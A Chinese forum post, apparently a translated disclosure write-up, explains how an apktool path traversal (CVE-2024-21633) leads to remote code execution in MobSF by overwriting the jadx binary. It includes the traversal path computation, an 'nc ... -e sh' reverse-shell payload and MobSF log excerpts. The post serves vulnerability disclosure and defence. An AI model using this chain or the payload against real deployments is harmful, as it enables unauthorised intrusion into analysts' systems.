请选择 进入手机版 | 继续访问电脑版

DecoyMini 技术交流社区

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
查看: 2797|回复: 0

[漏洞相关] CVE-2024-21633 MobSF 远程代码执行 RCE

[复制链接]

11

主题

3

回帖

32

荣誉

Rank: 2

UID
1288
积分
160
精华
0
沃币
6 枚
注册时间
2023-3-30
发表于 2024-2-1 11:00:06 | 显示全部楼层 |阅读模式
本帖最后由 kitty 于 2024-2-1 10:59 编辑

我发现在 apktool 中写入了任意文件,并通过 github 安全咨询进行了报告。我知道许多项目依赖于 apktool,但在发布咨询和修复后,似乎没有多少项目注意到或关心它。我决定检查它对一些对它依赖的程序的影响和可利用性,然后开始使用 MobSF。

该漏洞允许我们在 "${decode target path}/res/" 的相对路径写入任何内容,最大的影响是获得 RCE。但有一个问题,写入的文件不是可执行文件。

在开始之前,我脑子里有两个想法:

  • 我们的目标可能是覆盖 .bashrc/.zshrc 等 shell 初始化文件,但这需要 "解码目标路径" 位于用户文件夹下,以便我们可以将其定位为:"../../.bashrc",或者我们需要知道(或暴力破解)用户名有一个像 "../../../../username/.bashrc" 这样的目标,这里的一个好处是应用程序可以有 0xFFFF (65536) 不同的原始资源名称,因为资源 ids 看起来像 0x7F0B1234 (1 字节包标识符通常为 0x7F,1 字节类型标识符,例如 raw、drawable,2 字节资源标识符)。在我们的例子中,如果假设 MobSF 在 docker 中运行,我们已经知道用户名 MobSF。但是,覆盖文件后,必须等待 shell 生成,这是无法保证的。
  • 创建一个 cronjob 来运行恶意脚本,要求应用程序具有 root 权限

但是,如果我们足够幸运拥有一个将文件权限更改为可执行文件的应用程序怎么办?然后更幸运的是让它运行起来?这一切都需要在执行 apktool 后发生。 MobSF 的情况正是如此。 MobSF 使用 jadx 作为其静态分析的一部分,它通过子进程调用 jadx,但在此之前它将 jadx 的权限更改为可执行文件。

分别调用 apktool、chmod 和 jadx 的日志摘录:

  1. [INFO] 07/Jan/2024 20:44:16 - Getting AndroidManifest.xml from APK
  2. [INFO] 07/Jan/2024 20:44:16 - Converting AXML to XML
  3. [INFO] 07/Jan/2024 20:44:16 - executed command: /jdk-20.0.2/bin/java -jar -Djdk.util.zip.disableZip64ExtraFieldValidation=true /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/apktool_2.9.1.jar --match-original --frame-path /tmp -f -s d /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk -o /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/apktool_out
  4. .
  5. .
  6. .
  7. [INFO] 07/Jan/2024 20:44:20 - Decompiling to Java with jadx
  8. [INFO] 07/Jan/2024 20:44:20 - executed command: chmod +x /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx
  9. [INFO] 07/Jan/2024 20:44:20 - executed command: /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx -ds /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/java_source/ -q -r --show-bad-code /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk
复制代码

我们将使用 jadx 作为目标,但需要 jadx 到 res 文件夹的相对路径。可以通过在 python 函数中使用 os.path.relpath() 来得到它。

资源库文件夹是 "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/"

我们想要覆盖路径中的 jadx 二进制文件:"/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"

  1. import os
  2. jadx_path = "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"
  3. res_base_path = "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/res"
  4. os.path.relpath(jadx_path, res_base_path)
  5. >>> '../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx'
复制代码

有效负载将位于 res/raw/jadx 中

  1. #!/bin/bash
  2. nc host.docker.internal 9001 -e sh
复制代码

资源名称将为 "../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"



上传 apk 并等待 jadx 执行,将在 nc 监听器上获得一个 shell。



Bingo!  



然后我通过电子邮件向 MobSF 团队报告了此问题,得到了及时回复,他们通过更新到较新的 apktool 版本修复了该问题,但使 jadx 可执行并随后运行它的行为仍然存在。我宁愿提前设置固定权限并保持目录不可写。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x

评分

参与人数 1荣誉 +1 金钱 +5 贡献 +1 收起 理由
吉沃运营专员 + 1 + 5 + 1 赞一个!

查看全部评分

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|小黑屋|DecoyMini 技术交流社区 (吉沃科技) ( 京ICP备2021005070号 )

GMT+8, 2024-12-8 13:33 , Processed in 0.091501 second(s), 23 queries .

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表